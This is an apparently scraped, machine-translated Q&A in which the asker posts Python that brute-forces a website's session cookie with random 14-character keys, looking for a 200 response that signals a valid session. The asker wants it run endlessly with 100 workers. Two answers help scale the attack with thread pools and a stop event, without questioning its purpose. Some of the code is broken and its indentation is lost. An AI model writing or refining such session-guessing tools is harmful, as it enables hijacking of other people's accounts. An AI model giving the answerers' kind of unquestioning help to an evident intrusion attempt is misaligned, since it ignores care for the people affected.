美好的一天,我是python的新手,我已经尽力在下面构建代码:
import http.client
import random
import string
import multiprocessing
def worker():
"""worker function"""
if res.status == 200:
print("Valid key found: " + key + " Got status: ", + res.status)
elif res.status == 302:
print("invalid key! " + key + "!")
return
def randomStringDigits(stringLength=6):
"""Generate a random string of letters and digits """
lettersAndDigits = string.ascii_letters + string.digits
return ''.join(random.choice(lettersAndDigits) for i in range(stringLength))
key = randomStringDigits(14);
conn = http.client.HTTPSConnection("www.pra1ser.com", timeout=10)
payload = "comment_text=%40asnikuwait1%20test2&replied_to_comment_id="
headers = {
'cookie': "md5=5; prm_124024574287414=base_domain=api.pra1ser.com; csrftoken=5es0TEJiV6JOOjEzqyAfyeyN1FtnRIi1; session=CVzZzZz%3A" + key + "%3A8;",
'x-csrftoken': "5es0TEJiV6JOOjEzqyAfyeyN1FtnRIi1",
'content-type': "application/x-www-form-urlencoded"
}
conn.request("POST", "/web/comments/2050815839087051573/add/", payload, headers)
res = conn.getresponse()
data = res.read()
#print(data.decode("utf-8"))
#print(headers)
#print(res.status)
if __name__ == '__main__':
jobs = []
for i in range(100):
p = multiprocessing.Process(target=worker)
jobs.append(p)
p.start()
我想让它无限多地工作,可以容纳100个工人,直到它从服务器获得响应“ 200”,然后它就中断了。
我曾经尝试过,但我破坏了代码,出现了很多错误。而且我尝试了无限循环,但尝试失败。
我希望有人能帮助我。
谢谢你, 问候。 pra1
答案 0 :(得分:0)
当您使用多进程时,没有必要使用循环(可能会使整个过程变慢),实现您想要的多进程的最简单方法是使用with
语句,我不是可以尝试执行此操作,因为我不知道您要尝试访问的真实网站,但它应该看起来像这样:
from concurrent.futures import ThreadPoolExecutor
...
...
def worker(con):
"""worker function"""
while res.status != 200:
res = conn.getresponse()
if res.status == 200:
return "Valid key found: " + key + " Got status: ", + res.status
elif res.status == 302:
print( "invalid key! " + key + "!")
...
with ThreadPoolExecutor(max_workers=100) as pool:
results = pool.map(worker, res)
答案 1 :(得分:0)
#!/usr/bin/python
import http.client
import random
import string
import multiprocessing
import sys
import threading
exitFlag = 0
def randomStringDigits(stringLength=6):
"""Generate a random string of letters and digits """
lettersAndDigits = string.ascii_letters + string.digits
return ''.join(random.choice(lettersAndDigits) for i in range(stringLength))
def worker(event):
"""worker function"""
key = randomStringDigits(14)
conn = http.client.HTTPSConnection("google.com", timeout=60)
payload = "comment_text=%40asnikuwait1%20test2&replied_to_comment_id="
headers = {
'cookie': "md5=5; prm_124024574287414=base_domain=api.pra1ser.com; csrftoken=5es0TEJiV6JOOjEzqyAfyeyN1FtnRIi1; session=CVzZzZz%3A" + key + "%3A8;",
'x-csrftoken': "5es0TEJiV6JOOjEzqyAfyeyN1FtnRIi1",
'content-type': "application/x-www-form-urlencoded"
}
conn.request("POST", "/web/comments/2050815839087051573/add/",
payload, headers)
res = conn.getresponse()
if res.status == 200:
print("Valid key found: " + key + " Got status: " + res.status)
event.set()
elif res.status == 302:
print("invalid key! " + key + "!")
else:
print("invalid key! " + key + "!")
class myThread (threading.Thread):
def __init__(self, threadID, event):
threading.Thread.__init__(self)
self.threadID = threadID
self.event = event
def run(self):
worker(self.event)
if __name__ == '__main__':
jobs = []
max_threads = 10
# Create Event
event = multiprocessing.Event()
# Create two processes
while not event.is_set():
for i in range(max_threads):
thread = myThread(i, event)
thread.start()
jobs.append(thread)
for i in jobs:
i.join()
# Check whether event is set or not
# When set close all child processes
while True:
if event.is_set():
# Terminating main process
print('Exiting Process...')
sys.exit(1)